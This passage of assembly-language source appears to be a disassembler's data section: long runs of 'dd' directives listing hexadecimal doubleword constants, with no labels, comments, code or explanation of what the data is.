		dd 0AB1D61ACh, 0AA55D910h, 0F74A0F50h, 25E12CAEh, 0E4B8931Ah
		dd 0BA00ED85h, 0AB18C23Fh, 0F149D7h, 6373F524h,	1107900Fh
		dd 40261D7Ch, 1B00EC10h, 66E5930Dh, 20A0080h, 0B5BF9ED9h
		dd 20CF072Ah, 950E8041h, 729A11h, 138F604Bh, 349D1E17h
		dd 19936303h, 0E08D2B12h, 7E31CA7h, 920A22DAh, 0E4B86098h
		dd 2190A4A6h, 0A5BA3100h, 9D553F37h, 0AD5001B5h, 0C09FBDAAh
		dd 0F6DDE480h, 1F018801h, 17F4756Eh, 1DB1EED8h,	0BD1DC08h
		dd 0C880D08Fh, 8251CCE1h, 3D70FF00h, 4CBD042Ch,	1C39E8A0h
		dd 5F8F6A58h, 6E49C087h, 33648A5Ah, 91C8FC00h, 8FD0293h
		dd 0D44D00BEh, 0AABB8042h, 1D74F340h, 0A48BC600h, 0C10C2579h
		dd 52420081h, 27983032h, 0B358A5BCh, 5340123Fh,	37249B00h
		dd 9C1E79h, 153CDE6Ch, 287773D8h, 0E92A7412h, 0EB6B8200h
		dd 56B516h, 0F845FDC0h,	96239417h, 0A08FC728h, 0E5D88207h
		dd 877F7EDAh, 11E0E9E6h, 0C185192Dh, 0A129B20h,	9DED0A4h
		dd 52D0BB03h, 0B15F3A0Bh, 67307195h, 8EB500C8h,	0A3361FFBh
		dd 0E00AED6h, 243EBEE2h, 1C5DEC0Fh, 0DC7F0278h,	58BC18BFh
		dd 0F00098D8h, 72BD8F73h, 0D038FBh, 0AC40977Ah,	0BCCE4599h
		dd 0AD1DDDF2h, 0A2C0D244h, 7776A015h, 3AA8708Fh, 0BC80E9ABh
		dd 0FA805A4Dh, 3009379Dh, 0A62143h, 589F1C05h, 0EA3B85Ch
		dd 112E092Bh, 0B785D880h, 590065FFh, 0ED41AFB1h, 1D348EF0h
		dd 403D366Ah, 0FBDD1901h, 0FE246BB3h, 0A90028A5h, 0E2B59C4Ah
		dd 0F79E028Ah, 96260C2Eh, 0A9BA440h, 0E96FA100h, 83EB5FCEh
		dd 0E2DB01FDh, 8B90E529h, 0D152092h, 0C3BAB50Eh, 0A4DE40DCh
		dd 3C555BE7h, 4B80EA90h, 0A0DB29A5h, 0B80ABDD7h, 0CCD17563h
		dd 1B237800h, 16832B7h,	0AF2B55E4h, 0C880ADB3h,	4339CD5Fh
		dd 2700FA01h, 0BBB2A20Ch, 0EE31FCECh, 161E00DDh, 2D324114h
		dd 0B600C89Dh, 0C4D2DA5Dh, 0A0ED9Ch, 0B95B5E56h, 788442BBh
		dd 73A71401h, 2FC75053h, 54ECB020h, 30799036h, 4AB0DEC5h
		dd 0EE03919Bh, 9875D6ADh, 0C64CA920h, 0CDA59880h, 0FA17542Bh
		dd 0A0144126h, 9ED00Bh,	56928784h, 0DC1654DFh, 62D7003Dh
		dd 8CAE0898h, 0AF055D07h, 6F0DCDFDh, 0CF5AE400h, 0EE9F9B3Dh
		dd 63DD0418h, 90B592D8h, 2C52B1F0h, 0C293B802h,	80811B26h
		dd 9BD7B4D8h, 0BE3A0E2Dh, 57801EA6h, 0F9ACB962h, 0AF191C00h
		dd 8814FC72h, 0B747EFE6h, 0B8ECA403h, 18C16D84h, 71302AE5h
		dd 0C80CEDC9h, 1032FA31h, 6D9E3EA8h, 252EB680h,	0FD093DEAh
		dd 11F6AE00h, 0B0C8811Fh, 0F33219C9h, 30FA78AFh, 0D5012F50h
		dd 2EDB269Eh, 0CAC84BD2h, 7AA70084h, 4A39C2B0h,	90004F2Bh
		dd 3F12295h, 0F853C65h,	0F6C4DDC5h, 4952E580h, 0CC98BD86h
		dd 33002C75h, 0E30E677Fh, 0BFF959h, 0ED98462Dh,	31A14501h
		dd 0AD563Dh, 89910AA3h,	0FC4BEB9h, 74F72803h, 0CBE064EFh
		dd 917851C7h, 0DC3B040Eh, 423740A0h, 0F02FF0B4h, 52C90180h
		dd 629DDDDAh, 82E45556h, 0C48FC9Fh, 2E0E907Dh, 80887CD0h
		dd 2D0B5F21h, 0AF72000Eh, 131DE81Eh, 300BC16h, 0C030489Eh
		dd 0E45EB0h, 0B508AC5h,	7283C4F6h, 6D952C03h, 0CF52FC51h
		dd 601D36h, 5D60207Eh, 939BF479h, 153C5150h, 5E2EF200h
		dd 79567867h, 809B01E4h, 0E5380E7Ch, 88A8B913h,	3C3B2EFEh
		dd 0B8265E00h, 8D11B6B4h, 3E120300h, 0D95B9C0Eh, 0FDB1034Ah
		dd 0A90B1C32h, 0E7B8FCABh, 3E00F014h, 0EBC20E3Ah, 0EAAF56h
		dd 0CCE29A64h, 0D0DF0AB1h, 4A977B00h, 86DB8DC4h, 0A61F0032h
		dd 35CD2D38h, 2100CB91h, 73104DE3h, 224FF6Eh, 0AE1C26E2h
		dd 0EF4031ECh, 0FC00C634h, 0C8A539DEh, 1F65EE53h, 0C08FF19Ch
		dd 33DF8885h, 751FADBBh, 0E8808666h, 816E89CFh,	61DE0EFFh
		dd 0EAA0961Ch, 1E6912B6h, 67D72300h, 40373146h,	7D360017h
		dd 795130BAh, 0AC002171h, 195E4B24h, 0A863DF82h, 0A8FA5FB4h
		dd 3F7141ACh, 0E8009CB0h, 0E1B243CEh, 9D7D69EBh, 90935F00h
		dd 407970BCh, 6B893E1Fh, 1CF45901h, 241DB691h, 8C00A110h
		dd 68B7C3A0h, 70B26FD8h, 0AA6E1F6Ah, 0D7F2C0E9h, 2FC9106h
		dd 741E6260h, 7876FB63h, 0A12B00DCh, 449D6627h,	1E0C8342h
		dd 0A986BBBDh, 985A000Ch, 0D922185Bh, 0DF18F191h, 8A306FDAh
		dd 0E1890021h, 0BC019CFh, 2900701Eh, 91886EA0h,	12F6AB06h
		dd 408105CCh, 147BB3C8h, 0E00AD38h, 41682F0Dh, 1E246D7h
		dd 0DBBECEE6h, 0D09031F6h, 180E93BDh, 0C4C1F5D9h, 3088E0E8h
		dd 0DF0522F2h, 0AFAD8A00h, 8FE4E690h, 0BCD23ADBh, 0E76E2300h
		dd 0B6FACB6Fh, 0F099DF00h, 44AF3A65h, 5AA1814h,	37CB4139h
		dd 0CF0AAE7Fh, 0C811EB4Bh, 0D6DDC180h, 1E5A441Fh, 31941683h
		dd 505CBCC1h, 645250B8h, 0FB130238h, 3B1F7100h,	24F572FCh
		dd 5173890h, 73443C01h,	87E97B0Dh, 635ACF71h, 281183E6h
		dd 93C95Dh, 861C3062h, 0A47B5F97h, 0E7CE3Eh, 79734B0Dh
		dd 9AE63Ah, 0E991FBF2h,	45196A71h, 0B1E5EB30h, 0A2C71Fh
		dd 0E70C0F30h, 8E02C625h, 6944A00h, 315EDEBFh, 8FD605E3h
		dd 5E7D91E8h, 0AE88C0ECh, 5CD861Eh, 0AD0D4000h,	522C719Fh
		dd 667F3DAFh, 98A97DB0h, 0BF00C56Ch, 12E7951Bh,	6135C7h
		dd 8CFEE278h, 5F05D780h, 0B791EF60h, 85D3D1h, 4479385Bh
		dd 0EBB696D5h, 0C221FE60h, 70B3E3h, 96063CAh, 96A39ACCh
		dd 7267833Dh, 7546C701h, 92E977AFh, 57CD5841h, 41DC48h
		dd 0C854F8A4h, 0A3710D24h, 0CA2619C3h, 0EAD8093Bh, 72802F19h
		dd 24FC8E74h, 0A700F0A6h, 0C7220612h, 0A5ECE90h, 82BC897Ah
		dd 986D0234h, 0B5E0CA2Eh, 6900C381h, 0AC659432h, 2664B72h
		dd 0E5A75E2Bh, 844B7DCh, 790BC58h, 0F2AD51A5h, 6F1687E1h
		dd 183C4C48h, 3175B68Ah, 6700FB3Bh, 80F0EC87h, 8EAFD3h
		dd 9C093819h, 0EB6BDB2Ch, 0D1B1E360h, 7021CF2h,	6E79D669h
		dd 0E55A90EEh, 4FE45DF6h, 81AEA83Fh, 2F60B259h,	39BBE4EBh
		dd 0F08E4480h, 5E759F05h
		dd 1FC1505Ch, 86417C35h, 0BB9E3ABCh, 90537C40h,	50C7F1Ah
		dd 3701F18h, 4C828107h,	0C7CC2075h, 0D0B46600h,	0A765B697h
		dd 0AF013E3h, 1C040041h, 636F7282h, 5F42E807h, 95C0545Ah
		dd 675BB82Ah, 806A91E2h, 41DB7A09h, 201CA7Bh, 6F511DA7h
		dd 80E8A4DCh, 19E81338h, 8118246Ah, 80F10A2Ch, 5E49641h
		dd 1CE83DBh, 8D31BD85h,	80B6EB6Fh, 21846E21h, 0EED83Fh
		dd 1E31E2D7h, 0E69DE7C9h, 9743D01h, 0FB5C7397h,	9A583180h
		dd 464C3BC1h, 8F8E3A00h, 0F13C1C1Eh, 24870042h,	0ACCDAEBEh
		dd 5D00DB80h, 1380372h,	93C8B9h, 0D27AC008h, 41284AC1h
		dd 0A2BB5709h, 235B89E8h, 0E06FCE54h, 2EFB4C8Bh, 82481514h
		dd 0D1E6C0FAh, 29834860h, 3108C231h, 0BCC8A728h, 0BF6C0055h
		dd 0CE8FD570h, 88C0494Ch, 83D60DDh, 930D2CB4h, 0DF2642B0h
		dd 2700D464h, 84F1CCBEh, 925FB688h, 7F7034h, 6C399FC5h
		dd 53C22B06h, 808BFC07h, 101434Ch, 2C90838h, 4C9524CCh
		dd 3BC02C51h, 0FECB4B42h, 9C55B400h, 0E141D7DBh, 0CD00198h
		dd 0DE067C73h, 860DD115h, 19BC2C91h, 9BCA0FD1h,	0E9A1AEEDh
		dd 0C00B1474h, 0EF03BA8Ch, 0C5281218h, 7FFA88DCh, 0F71C9EDh
		dd 30098C91h, 7600A2A2h, 84159121h, 2D717Ah, 6A3CE9D9h
		dd 0F963B2DCh, 0E943B433h, 0CBCDA829h, 6B7C0077h, 0ABEE877Ah
		dd 0BB0A1148h, 0B4BC9FB9h, 70A72240h, 0F6637DE7h, 59060CBEh
		dd 1349E282h, 33BFD3Ch,	5EE489E1h, 0BC191542h, 7400B4F1h
		dd 0E9A0D22Ah, 65098FA1h, 79756C1h, 0F6C73F98h,	717A80E9h
		dd 975F794h, 0B9AD43E0h, 0FCE9845Fh, 0A29E4CC1h, 0F62C0C33h
		dd 87930C70h, 7B321061h, 52BC213Ch, 25780064h, 0F487FB24h
		dd 220034D1h, 0C7819D4Ah, 0CCEA3F2h, 0EC05C999h, 8A0A9E39h
		dd 92C44184h, 0EAC1751Ch, 0BA03EECCh, 90553443h, 0FFEB5BDDh
		dd 31D52930h, 57C88842h, 0F8E470BEh, 0D701B4F8h, 0C01864A2h
		dd 688EC555h, 9919B9FBh, 6FF848BBh, 5EB8B600h, 38578240h
		dd 0ED8F0012h, 0B1BE108h, 0C54C37FCh, 311530B4h, 4D75Ch
		dd 37F9742h, 202ACF5Dh,	0F60B0D72h, 905C663Bh, 0E894D90h
		dd 909AAADDh, 0C3E172A0h, 6D025393h, 75B24FBDh,	0BEF740ECh
		dd 10CF09FCh, 0E89826ADh, 0C260E629h, 1BA461Eh,	707CB8AFh
		dd 83407EDh, 0D09C9FAAh, 0A0550D62h, 3853940Eh,	0BD8725B0h
		dd 0E9F1C6h, 5247E756h,	1610586Bh, 485ED930h, 9D62EBh
		dd 6F4080B3h, 3A38FAE7h, 0E085D201h, 6B5DB6F1h,	0A651885h
		dd 576BC00Bh, 7300BC6Ah, 0C6DB87CDh, 2403ED13h,	40BC6829h
		dd 32714339h, 0D400C17Dh, 94DBD29Fh, 30197FF6h,	0EAE8214Bh
		dd 4E3E6ED8h, 1C12A801h, 2780D660h, 0A9117A82h,	2430D8B4h
		dd 0F0B066h, 207971A8h,	0F6A19330h, 0E1077E31h,	1C707851h
		dd 0D9B000FDh, 6693E17Ah, 9201D331h, 5E071873h,	0D8DBE7A2h
		dd 0FCB2B26h, 741D6F61h, 0A03AAA04h, 1604A320h,	5A01FAD5h
		dd 9B659C97h, 80BE5009h, 3123038Ah, 0FB8200C0h,	0E53BE4D9h
		dd 2158812Ch, 498901C7h, 24D2AF77h, 5A52C4h, 0EFF92ADAh
		dd 0A8CEF506h, 0E88C110Ch, 0F13B9DBh, 7FCB3F3h,	7A8BA4CFh
		dd 0B6891898h, 94291962h, 0E6D3E0EAh, 82000BFh,	0F8DCC930h
		dd 0E4A3ABB5h, 146F62C8h, 0AA68F512h, 0BB9AF200h, 77CD8FCh
		dd 7985CF03h, 2E7A703Bh, 0B099A27Fh, 0FB4EC905h, 0AEE3A600h
		dd 28A5BF07h, 38B47F61h, 0FC83C623h, 5C41F2A9h,	84803082h
		dd 0D40D0982h, 14772A00h, 1E369D7Dh, 39CB00D7h,	834DC567h
		dd 81C944Ch, 3D03F2C9h,	10C2BDh, 1F4031F1h, 5FB21DDDh
		dd 86B38807h, 0CD27A7ADh, 0C4026245h, 0E054DF59h, 1DF2DD84h
		dd 1E136C20h, 58BA00B3h, 90A7DBD5h, 11805F18h, 0B63C4C9h
		dd 89E30D4Ch, 19F6BC86h, 0BDD61302h, 44681CFCh,	196600C8h
		dd 696D8BA4h, 0C51D750Dh, 6F4965EEh, 3D40A23Ah,	46A8811Dh
		dd 8CF09EA6h, 0D15602ABh, 940D4553h, 2626E052h,	70647C8Eh
		dd 49EF9420h, 0FBA67A0Bh, 18950997h, 55EAEE0h, 10160A4Eh
		dd 0B8588271h, 0DF1AB023h, 4950CF20h, 0B51F0043h, 21097314h
		dd 585C7181h, 0DC099C2Ch, 43D9009Ch, 0E7A1B1h, 155116CCh
		dd 579A5EDh, 9CE25800h,	3D29BA32h, 0DFD730ECh, 33C15910h
		dd 44A94D16h, 2AD96000h, 0CCF0719h, 55B37A3Ch, 0CE0BB739h
		dd 564AC3B1h, 41A61869h, 0D500096Dh, 0F54792Dh,	383493EAh
		dd 0B6809A3Ah, 0E259337Ah, 0B0E15E4h, 3F8D507Bh, 0F6BB8C3h
		dd 66812E4Dh, 0E89E007Bh, 0A3271888h, 4C1DA0C4h, 497F2A46h
		dd 93B1303h, 9087A97Eh,	50AA351h, 0B7F9B3CCh, 92848085h
		dd 49003653h, 5407D5DEh, 198C3CDFh, 0B1BCB17Ah,	33C4002h
		dd 0AB00FA12h, 4ABDFE09h, 6FE384C7h, 83C0F040h,	59F5BC21h
		dd 0D5F42B1Fh, 7090EDC1h, 36E05235h, 0A5031C40h, 84A983h
		dd 0BA6F8EB8h, 7500FF16h, 67E8028Fh, 2A7A0C2Dh,	0E2A45ABDh
		dd 0EB3C01A1h, 511CD1AFh, 0C8864043h, 0FCF8FB28h, 0DF0A587Eh
		dd 7CCE5F8Ah, 99998D0Ch, 455000D4h, 1DC7A33Ah, 0CD034DBAh
		dd 1DD0F30h, 56D900D3h,	6B724E51h, 9EE65EAAh, 0CBD23D00h
		dd 0C0DBB944h, 0DD64038Fh, 0B28410D9h, 1134C0E4h, 1C0231FFh
		dd 0FC0F6A5h, 9981DD15h, 8051FDD2h, 0FA6B2759h,	2E7714Eh
		dd 0C6ADE16h, 80A084A5h, 51441A5Ch, 561E1DF6h, 0F0400B05h
		dd 13184E7Ah, 54CC71E2h, 39180Eh, 3B1A862Dh, 44672351h
		dd 70D9A700h, 0EBCD9661h, 48A0018Ah, 0D6A6ACC9h, 9C84402Bh
		dd 36E4F6F8h, 71C4C600h, 0A45A3909h, 761F0286h,	2BD34C8h
		dd 63A610h, 55E511A7h, 79AAD8FDh, 81566230h, 5007DAh, 165ACCC6h
		dd 0BC63F108h, 317D9401h, 0E402B7EEh, 0F8049B8h, 0CB095FDh
		dd 900F7D3h, 4E811473h,	3DF28BF6h, 11B17D1h, 40C731B8h
		dd 94C86B37h, 3DC9A301h, 0DB02CAADh, 9D102180h,	18FA498h
		dd 0C0306C00h, 0AA62157Fh, 0F5B0145Fh, 0C09EFC24h, 0A78F5C55h
		dd 9900D45Dh, 0F382A94Ch, 1553FC1Eh, 8C3DD7B5h,	80F9E71Eh
		dd 0DDED57AAh, 923FEBEEh, 4AB28414h, 0EC80C406h, 8A5C30h
		dd 581C25DAh, 0DE402A97h, 8DB83C0Ch, 6AD4986h, 6F5CBE46h
		dd 0D10561A8h, 0A182CA14h, 0EDB09C40h, 1686AA15h, 0A84A8AF3h
		dd 41BB30C9h, 0E1040BDCh, 0B8F091h, 86B95718h, 0C2D4F27h
		dd 0E184253Bh, 88E82A31h, 0B7190B00h, 4C918B52h, 0E077C5h
		dd 5542F044h, 20EE1BEFh, 51520230h, 49D7B07h, 83D4B2D0h
		dd 5CAC904Dh, 340047C7h, 2CE1BA70h, 97DC35h, 90A2EB22h
		dd 0B230513Ah, 0CE004B98h, 0EC637EAFh, 16F2D73Ch, 0FC051Fh
		dd 0C4C9BF09h, 0AD1CD3E1h, 0CBC25CB0h, 0A0682A2Dh, 9D030DC8h
		dd 0BA9826C9h, 0D3C843A8h, 640F8DF0h, 0DADF3C00h, 0CA8A76A9h
		dd 0E41CA024h, 0B01907C9h, 6640D278h, 0F401196Fh, 0A1CEA0DFh
		dd 32FD8BF2h, 0A09FD424h, 504BB6D8h, 0CD6858Ch,	0A2C83719h
		dd 733FAE18h, 6700FC8Ah, 0AA2D4E18h, 482B270Fh,	0E9C9484h
		dd 0E9400D8Eh, 2DE3B890h, 0D0D9C800h, 0B99795F8h, 0DC600F6h
		dd 8F28EC3Ch, 0EE01DC81h, 278477B2h, 42C030B7h,	0BEB101C9h
		dd 0A51E4B54h, 70024BBh, 0FB2C2400h, 0ACCC8FE1h, 4484E061h
		dd 15000CEFh, 1C0FF465h, 771920h, 62FB117h, 0EBD3D893h
		dd 0BF7B71Fh, 0E82E018Ah, 0C00D688Eh, 8E8D2A81h, 26E227h
		dd 0BDDF1E65h, 2C0EF9ADh, 98491B0Fh, 0D14B20CBh, 0C3945EF3h
		dd 2F012850h
		dd 0C4A44900h, 0CD173857h, 45DE0052h, 86019D9Bh, 0B0003DD8h
		dd 48AA97A1h, 54907998h, 0D9E054h, 3BDFFD20h, 60B812B4h
		dd 81FECB0Ah, 62032C02h, 8067AEB9h, 820411h, 547ACC65h
		dd 7DA46CF3h, 7835080Eh, 3C9B25EFh, 139D8440h, 0B8D8CFC4h
		dd 98842689h, 0A3DB86E0h, 690094BFh, 0F907CD49h, 250775Eh
		dd 0D290E212h, 1C4427C6h, 80D6DC3Ah, 0BAC87F94h, 24E877D5h
		dd 95251D4h, 24126040h,	0C821E404h, 0ED30DBD4h,	38B2893Fh
		dd 8DF4A885h, 198060D7h, 0F07079CDh, 0AF482600h, 49B45E99h
		dd 72AEA60h, 156B5114h,	0A864502Ch, 0F2E03D17h,	0C6A4DA00h
		dd 0B2898B5Fh, 0A76A010Dh, 5222E23Eh, 1B062BAh,	97BD4423h
		dd 55CCB9DAh, 0C6A7716h, 6327A3F1h, 0A10001B1h,	810B42CFh
		dd 682CEF4h, 84289CD6h,	0F605A1A7h, 0B21A4A5Fh,	0FAFC430h
		dd 0F8BE0083h, 504BC8C3h, 7D3BA308h, 896400B5h,	40353CD4h
		dd 8306098Ch, 0C822E2E0h, 53427425h, 3AF09010h,	0B0B28F00h
		dd 0E9AF2F37h, 63BB304Dh, 0A77F69C1h, 523B3500h, 269B82A6h
		dd 771801B7h, 43977546h, 0B9DC20F4h, 39143100h,	8588D0F3h
		dd 18F0991Dh, 9EE209B1h, 777BAA00h, 0CA1653C0h,	0A0D87F6Bh
		dd 2A5F2190h, 2886DC9h,	1ED7B8E5h, 0BCE1EED2h, 2E7AC00Fh
		dd 1C40D48h, 24EAF929h,	68EC79A3h, 32A70C2Dh, 0B6E1C68Ch
		dd 5FDE9E02h, 90DB8903h, 98153C2Ch, 0D3650020h,	5CB3B4F1h
		dd 0AB0BEF98h, 80A0B5C9h, 96FB744h, 0AE141DB2h,	3FC7C01Ch
		dd 0BE3B2A93h, 9807632Ch, 60C21E60h, 79496039h,	0B87D5792h
		dd 7178B630h, 137AE9Eh,	742EFDEh, 0E456A3CFh, 2C7D6AF1h
		dd 0E0718901h, 858DB9D2h, 0E068824h, 0CEA3E7F2h, 9A20AF80h
		dd 7B5C3A88h, 7A171F70h, 8DBDF3C5h, 7BB17488h, 22740B07h
		dd 0C09655Dh, 24B82800h, 9140CD40h, 2AEAF4E2h, 0C45502h
		dd 0DDE4F9B2h, 0BF09A980h, 8919BA00h, 852BEB70h, 29546025h
		dd 4758D3DBh, 0D1666030h, 7497A63h, 6B0F5701h, 2B7DAC7h
		dd 2D1F6F7h, 0C34E6064h, 0D80053F8h, 6F8E371Dh,	0A3CC28Dh
		dd 4D1E7EE8h, 28CC3C56h, 1447D041h, 0D42C8DD1h,	4329111h
		dd 0EEE1B0D2h, 208120C9h, 40CADC03h, 3E6C5362h,	3887CE90h
		dd 4B6027F4h, 2FA9F7A9h, 0F8791F3Ah, 321B40DCh,	84DE2BA7h
		dd 0E2F57601h, 0DD3F31E3h, 74498D0h, 913BDC8Ah,	0C5829E0Fh
		dd 10590463h, 8E1C3100h, 3B05D354h, 1F802BB2h, 0AC5FE5B6h
		dd 3B3E29D7h, 744B3D0Dh, 4DBA22h, 92109E6Ch, 6683685h
		dd 2300D071h, 3441B771h, 0B058EADh, 0E44CF921h,	0BFE9228Ch
		dd 0FD852496h, 9C08AC1h, 1E7C7EFh, 0BC9DD253h, 9F6427F9h
		dd 0FE87AAE9h, 2BB09222h, 3A2AD7BBh, 66005FB0h,	0EC0E1AF3h
		dd 0C49148D4h, 52402025h, 841768h, 0D2434D64h, 8B408E3Eh
		dd 6C83AE2Eh, 8695B240h, 15201C6h, 0A526F5D5h, 0AE74200Eh
		dd 0B701B0E8h, 0B9E71988h, 984D7A3Fh, 0B0215731h, 6A859CEh
		dd 119EB363h, 0BA9DD880h, 9BECB916h, 0BFA49420h, 778300D1h
		dd 0AC3EE564h, 9805B578h, 0A15F8D50h, 61887DC0h, 0D03C312Ah
		dd 22FBDB59h, 58790210h, 608A38FEh, 0A4839DC8h,	0E9D100A4h
		dd 0C0C6EA1Ah, 4F007DC4h, 24CCBD92h, 3FD1C3Fh, 30BC26Ah
		dd 95E0CECAh, 0EF042EAEh, 9227E140h, 21DD3490h,	6DB602C5h
		dd 3CB05D56h, 0C2676077h, 0E1A317CAh, 2FF830E3h, 3B029B4Ch
		dd 54382B68h, 41FE8E71h, 0EE8478C2h, 0D3152981h, 0EC7C4AD2h
		dd 0FF00BDC6h, 0BFD9839Bh, 1743499h, 0C2B650B4h, 0C0FA4FEAh
		dd 311EB53Bh, 5C35AEEh,	3CB9DCC3h, 890A4810h, 82ACF2ACh
		dd 0BA44E832h, 570998E8h, 609D877h, 0F710895h, 479DE054h
		dd 12D4B6Eh, 883A291Ch,	22D98493h, 0CD8C0014h, 0F8A69B39h
		dd 4C22F88Eh, 307D043h,	9C02C9BAh, 0D100C729h, 0EE882ACDh
		dd 3BDF575Bh, 0E302503Eh, 0C0CC38BEh, 0B83BD0E0h, 0D8B5E500h
		dd 293CD9F3h, 7BEF0294h, 336D2787h, 0D60ECF00h,	0D5650054h
		dd 55BD89B9h, 10987F83h, 72E5012h, 0EA1E3C02h, 0A78481D3h
		dd 0CC20F72Ch, 0BA270152h, 0D8664F07h, 822FAh, 2D8DCEFDh
		dd 25FC4ABh, 0E387A98Ch, 6459350Fh, 98032C00h, 391E33h
		dd 0CD429ACBh, 6A209E77h, 0DFEE2301h, 0DB01D82Ch, 0ED80A013h
		dd 0C401650Bh, 0AED7858Fh, 0B6208C46h, 3CF91D19h, 0A2A00DCh
		dd 610CDFF7h, 24383F59h, 260B0C9Fh, 63142232h, 0E9A8828Fh
		dd 3002E118h, 5EC28450h, 0DAFEB0h, 0E8280F07h, 7A15356Dh
		dd 22F1DD00h, 5CBC875h,	5FCF1723h, 0D08C2747h, 9BA3CDFh
		dd 48F537E0h, 700154ACh, 0BB7394AEh, 0B0664740h, 3DC92E00h
		dd 765F910Ch, 5CA76B2Ch, 0B100F76Bh, 5521344h, 54FFE100h
		dd 0F62F8A49h, 9C2E48E5h, 9F7D047Dh, 0F23332BBh, 0B85F036Ch
		dd 0E01EB446h, 48451ECh, 39EDD799h, 15588171h, 0A041F2B0h
		dd 0D996F420h, 8066C8C8h, 0CE43F263h, 3CB044BFh, 0BA0B4880h
		dd 0C305F4Dh, 8AE199AEh, 469F62Ch, 213F48F2h, 0D51CC002h
		dd 5C1324DAh, 0EC0AB69Fh, 8C17C016h, 80D34808h,	25A513EFh
		dd 91F84710h, 0D820D84Bh, 50B43B22h, 2C1D40Bh, 2B9FC4Eh
		dd 0E8E48214h, 3C000DF6h, 0A7BDF675h, 0C5AACFEh, 0C602D25Ch
		dd 43FC861h, 0A0FC00F9h, 30B7C250h, 0AF651CB2h,	0B110063Ah
		dd 0D300D936h, 6DEB0782h, 5441Bh, 2794418Ah, 1D28EC54h
		dd 57BA9318h, 0F7B079h,	91A73BCDh, 65A8821Ch, 0CBBC0B03h
		dd 90D9A1CEh, 296DE31h,	16DFFDAFh, 2C4427B9h, 0E48B9501h
		dd 29CFD4B3h, 7489EEF8h, 0DD6C023Ch, 8B548DD9h,	3DB08482h
		dd 2E957520h, 78EB0329h, 0C0EC2A96h, 0BA598907h, 0A3C0A1E7h
		dd 65E7C0Ch, 0B385AD8Bh, 0DB2621BDh, 4060CC11h,	9A98BCFEh
		dd 3F3B3C20h, 950DFF4Ch, 3EA16EB6h, 0E88B63C3h,	0B02045BDh
		dd 80B4B128h, 0BA136D21h, 94B98471h, 0D22ED500h, 17F4Ch
		dd 79DEC563h, 9789A820h, 0A51C850Fh, 9FBD0167h,	9987E008h
		dd 64861237h, 0FF841h, 8190C8E1h, 0E715CB0h, 0DE7AE9C5h
		dd 92C09CF4h, 0D967C962h, 397F238h, 0DCF09D21h,	0BEA09729h
		dd 640B3C1h, 2885D403h,	60F969DEh, 8C00179Fh, 0F46D4CB8h
		dd 0E469349Fh, 895CB484h, 1A80EAA5h, 435B81Eh, 0DE8BD900h
		dd 0B445BA14h, 22EC2830h, 0EEDB3C5Ch, 8988105Ch, 747EC040h
		dd 13DB05B8h, 38FED3Ah,	0D3F64FC4h, 4220D9B8h, 0AE1840FFh
		dd 4D008307h, 7F4422C0h, 52373F9h, 962F39F6h, 9F20803Dh
		dd 0BB139795h, 895B163h, 0BAB9A005h, 8E572400h,	112E7A9h
		dd 7D23DDC2h, 0CC6B37B7h, 5648BABDh, 0B4BF2608h, 700BC11h
		dd 0EB684811h, 0E0094EFFh, 0C4876A7Ch, 996E0054h, 67AB6BC6h
		dd 0E0009F64h, 0E7209D74h, 0F249438h, 177A59D3h, 8A1579Dh
		dd 5F8037F4h, 0CA7A451h, 17D625B6h, 8889890h, 0FD5F4805h
		dd 0E82224CFh, 0CD6C60CCh, 7D430058h, 0DD917036h, 0E8A0B2CBh
		dd 0BC5C0692h, 0B89A03C6h, 803D11C2h, 7D1C2C1Fh, 0E5563FD6h
		dd 0B382BE8Bh, 7BCD2B03h, 62325927h, 6C595Ah, 79DDD40Ch
		dd 3B0BC442h, 125A4Dh, 0A8B32B8h, 2987E384h, 5015BD45h
		dd 2D9886B6h, 5F675C94h, 13C50D20h, 0A49E3Bh, 0F4B7EB20h
		dd 0B02D029h, 84E9608Ch, 6AA8609Dh, 483490E5h, 0C6C0ACB5h
		dd 2BB3719h, 188DD4Ch, 34D6F3DCh, 1617FA4h, 0EBDA84Ch
		dd 0AD5B0C8h, 56E15760h, 0EA0061A0h, 0DE808A98h, 0E9ACF0h
		dd 4CB7D7F5h, 913BC542h
		dd 5AEEF00h, 5C7F9903h,	77A2A6Eh, 313230C0h, 21F7A7F0h
		dd 4766EE09h, 3E24665Fh, 20052D48h, 823C94D9h, 38F1C060h
		dd 7E7D5A00h, 26D3FBFh,	2DB280AAh, 0D483D434h, 0C2ED17B8h
		dd 5864E629h, 18B9D23Ch, 2B0848D3h, 0F7B700F1h,	1A0F94Ch
		dd 8A4983A7h, 7FDE0060h, 24F24A70h, 8E1D0025h, 309F9810h
		dd 0B50450AAh, 0BC7A3E02h, 0D10558A3h, 2C6A5A4h, 0D838E4F4h
		dd 10556041h, 1F7DC1E9h, 0C04FC645h, 0F7D9B383h, 0FD5B2E0Bh
		dd 34A51420h, 795700DCh, 0B9AE80E2h, 88A86FB6h,	0F91CED4Ah
		dd 0B06EA5D1h, 0AC583160h, 0B0610188h, 0D33866B1h, 0FCB7F011h
		dd 0E164F805h, 0E0E23058h, 0C4C0BF00h, 0E795334Bh, 1436C804h
		dd 0C0E21124h, 65383400h, 3E4ACCF1h, 51174504h,	0A888261Ah
		dd 3F7B0022h, 0CCABC776h, 7A1D79B0h, 2131B116h,	1860FCD6h
		dd 61452675h, 67F201EFh, 51A6E3D8h, 382D20C4h, 2A3717CCh
		dd 7F670C20h, 4AAE00FFh, 7187D520h, 77F0A23Fh, 8ED1C928h
		dd 0DC503828h, 0A004A79h, 0DB1C7BC7h, 0B62DF4h,	0B0B80405h
		dd 47482BE1h, 927CD15Ch, 24FB40Bh, 0E401DF68h, 150207ECh
		dd 80363825h, 1C82B5C3h, 0C6854200h, 6DA4C749h,	0CAD400DCh
		dd 0BA3509A5h, 60E03CA1h, 0F81448h, 0EAF8A07Ah,	1B1CE92h
		dd 2373F4Fh, 0C0AAD9EBh, 0C5603B85h, 59536578h,	0F0A254B8h
		dd 6113007Ch, 0D1B4DD36h, 0E0492950h, 0D5CE0744h, 0BE40B8ACh
		dd 485E7254h, 0A92C781Dh, 94426308h, 4441C780h,	5975358h
		dd 0BA0E9EEAh, 0D8653000h, 75FADD14h, 0CF930157h, 10EC07B7h
		dd 16BC2691h, 2C902A35h, 413A06h, 54BC3EEEh, 2A357DAh
		dd 0F9AA5502h, 0E0199288h, 7D63BD34h, 8389518h,	0ED0375CFh
		dd 2A6C057Ah, 0C7617C3Ch, 884D2630h, 0C300E491h, 783DA97Fh
		dd 0D400D5F7h, 0ED8EC298h, 2FB8992h, 11762C2Dh,	80E45B47h
